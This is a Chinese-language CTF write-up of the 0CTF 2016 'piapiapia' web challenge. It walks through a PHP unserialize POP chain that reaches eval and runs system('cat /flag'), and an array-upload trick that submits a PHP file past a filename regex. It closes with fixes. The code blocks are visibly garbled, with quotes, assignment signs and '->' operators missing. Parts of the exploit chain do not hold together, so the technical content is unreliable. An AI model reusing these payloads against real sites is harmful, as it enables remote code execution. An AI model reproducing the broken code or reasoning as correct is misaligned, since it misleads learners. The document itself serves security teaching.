PHP反序列化漏洞与文件上传绕过实战分析
1. 题目背景与初步分析piapiapia这道题目来自2016年0CTF比赛是一道经典的Web安全挑战题。作为CTF老手我初次看到这个题目名称时首先想到的是以下几个方向题目名称的重复音节pia可能暗示着某种重复性操作或循环漏洞考虑到2016年的技术背景很可能是PHP相关的漏洞当时PHP在CTF中非常流行题目可能涉及文件上传、反序列化或SQL注入等常见Web漏洞经过实际测试环境搭建和题目分析发现这确实是一道综合性的Web题目主要考察选手对以下知识点的掌握PHP反序列化漏洞文件上传绕过技巧代码审计能力黑盒测试技巧2. 环境搭建与初步测试2.1 题目环境准备首先我们需要搭建本地测试环境。题目提供了一个完整的网站压缩包包含以下关键文件/ ├── config.php # 数据库配置 ├── index.php # 首页 ├── profile.php # 用户资料页 ├── register.php # 注册页面 ├── update.php # 资料更新 └── upload/ # 上传目录搭建步骤配置PHP 5.6环境与题目发布时间匹配导入提供的SQL文件创建数据库修改config.php中的数据库连接信息注意在实际CTF比赛中通常直接提供在线环境但本地搭建有助于深入分析和调试。2.2 功能测试流程典型的用户操作流程如下注册账号登录系统更新个人资料包括头像上传查看个人资料页通过Burp Suite拦截这些请求我们可以观察到几个关键点注册时没有严格的用户名过滤头像上传功能有后缀名检查个人资料存储方式特殊后面会详细分析3. 代码审计与漏洞挖掘3.1 反序列化漏洞入口在update.php中我们发现关键代码段$profile serialize($profile); $profile addslashes($profile); $sql UPDATE users SET profile$profile WHERE username$username;这里将用户资料数组序列化后存入数据库而在profile.php中$profile unserialize($profile);这构成了典型的不安全反序列化漏洞条件。但问题在于如何控制序列化数据3.2 上传功能分析头像上传功能在update.php中if($_FILES[photo][name]){ $file $_FILES[photo][name]; $regex /^[a-zA-Z0-9]\.(gif|jpeg|jpg|png)$/; if(!preg_match($regex, $file)){ exit(Invalid file format); } // 保存文件 }看似严格的检查但存在两个问题仅检查文件名不检查文件内容文件名检查可以被绕过后面会讲3.3 资料更新逻辑在更新个人资料时代码会构建一个数组$profile[phone] $_POST[phone]; $profile[email] $_POST[email]; $profile[nickname] $_POST[nickname]; $profile[photo] upload/ . md5($file)...pathinfo($file)[extension];这个数组会被序列化存储。注意到nickname字段没有过滤这将是我们的突破口。4. 漏洞利用链构建4.1 反序列化POP链构造通过代码审计我们发现存在以下类class User { public $username; public $password; public $profile; public function __toString() { return $this-username . $this-password; } } class Info { public $age; public $nickname; public $CtrlCase; public function __call($name, $args) { if($this-CtrlCase){ eval($this-CtrlCase); } } }利用思路通过nickname注入恶意序列化数据触发__toString或__call魔术方法最终实现RCE4.2 文件名绕过技巧虽然上传检查看似严格但可以通过以下方式绕过使用数组方式上传photo[0]利用PHP特性$_FILES[photo][name]在数组上传时也会是数组构造特殊文件名使检查通过但实际保存不同4.3 完整利用步骤注册一个普通用户更新资料时在nickname字段插入精心构造的序列化数据通过特殊方式上传文件控制photo路径触发反序列化执行任意代码5. 详细利用过程5.1 构造恶意序列化数据我们需要构造一个能触发RCE的POP链。示例Payload?php class User { public $username test; public $password test; public $profile; } class Info { public $age 0; public $nickname ; public $CtrlCase system(cat /flag);; } $info new Info(); $user new User(); $user-profile $info; echo serialize($user); ?运行后会生成序列化字符串我们需要将其作为nickname提交。5.2 绕过上传限制使用Burp Suite修改上传请求POST /update.php HTTP/1.1 ... Content-Disposition: form-data; namephoto[0]; filenametest.jpg Content-Type: image/jpeg ?php phpinfo(); ?虽然前端检查会拒绝但后端处理时由于数组特性可以绕过正则检查。5.3 触发反序列化通过精心构造的nickname和上传文件当我们访问profile.php时从数据库取出序列化数据反序列化触发魔术方法执行我们预设的命令6. 防御方案与总结6.1 漏洞修复建议对反序列化操作避免反序列化用户可控数据使用json_encode/json_decode替代实现安全的反序列化白名单对文件上传检查文件内容而不仅是文件名保存时重命名文件限制上传目录的执行权限对用户输入对所有输入进行严格过滤使用预处理语句防止SQL注入6.2 CTF解题心得这道题教会我们几个重要的安全原则永远不要信任用户输入魔术方法可能成为攻击入口多个小漏洞可以串联成严重漏洞链PHP的特性如数组上传可能带来安全隐患在实际渗透测试中这种串联漏洞的利用方式非常常见。通过这道题我们不仅学到了技术细节更重要的是培养了系统性的安全思维。